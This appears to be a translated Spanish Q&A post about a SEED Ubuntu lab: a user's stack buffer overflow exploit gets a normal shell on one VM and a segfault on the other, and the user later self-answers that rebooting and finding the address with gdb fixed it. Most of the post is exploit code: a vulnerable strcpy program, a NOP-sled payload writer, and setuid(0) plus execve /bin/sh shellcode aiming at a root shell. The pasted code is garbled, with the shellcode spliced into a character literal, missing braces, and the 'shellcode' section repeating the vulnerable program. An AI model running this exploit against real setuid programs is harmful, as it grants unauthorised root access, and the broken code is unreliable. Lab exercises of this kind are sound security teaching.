Error de Segmento de ataque BufferOverflow

2

Estoy tratando de explotar la vulnerabilidad de desbordamiento de pila simple. Pero tengo problemas para escribir el archivo exploit.c. Después de obtener el puntero de pila usando __asm__("movl %esp, %eax") , puse la dirección y el código de shell en el búfer.

Este es el archivo stack.c:

int bof (char * str)

char buffer[24];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;

int main (int argc, char ** argv)

char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;

A continuación se encuentra mi archivo exploit.c actual. Tengo dos máquinas virtuales con la misma configuración usando SEED Ubuntu. Ejecuto el mismo archivo en ambas máquinas. El primero me da shell normal, otro devuelve "falla defectuosa". Pero el shell raíz es lo que quiero.

char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */ 
char *ptr = buffer;
long *addr_ptr, addr;
int offset = 0x80;
int i;

addr = get_sp_addr() + offset;
addr_ptr = (long*)(ptr);

//printf("addr: %x\n", addr);

for (i = 0; i < 10; i++) {
  *(addr_ptr++) = addr;
}

for (i = 0; i < strlen(shellcode); i++) {
  buffer[517 - (sizeof(shellcode) + 1) + i] = shellcode[i];  
} 

// Null terminate the shellcode 
buffer[sizeof(buffer)-1] = '
char shellcode[]=
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
"\x31\xc0"             /* xorl    %eax,%eax              */
"\x50"                 /* pushl   %eax                   */
"\x68""//sh"           /* pushl   $0x68732f2f            */
"\x68""/bin"           /* pushl   $0x6e69622f            */
"\x89\xe3"             /* movl    %esp,%ebx              */
"\x50"                 /* pushl   %eax                   */
"\x53"                 /* pushl   %ebx                   */
"\x89\xe1"             /* movl    %esp,%ecx              */
"\x99"                 /* cdq                            */
"\xb0\x0b"             /* movb    $0x0b,%al              */
"\xcd\x80"             /* int     $0x80                  */
;
'; // printf("%s\n", buffer); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile);

Shellcode definido en el archivo exploit.c es:

char buffer[24];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;
    
pregunta K.Doe.x 21.10.2018 - 13:07
fuente

1 respuesta

0

Lo tengo. Reinicie la máquina y reescriba el código (en su lugar, busque la dirección a través de gdb). Ahora funciona. Gracias a todos.

    
respondido por el K.Doe.x 24.10.2018 - 07:07
fuente

Lea otras preguntas en las etiquetas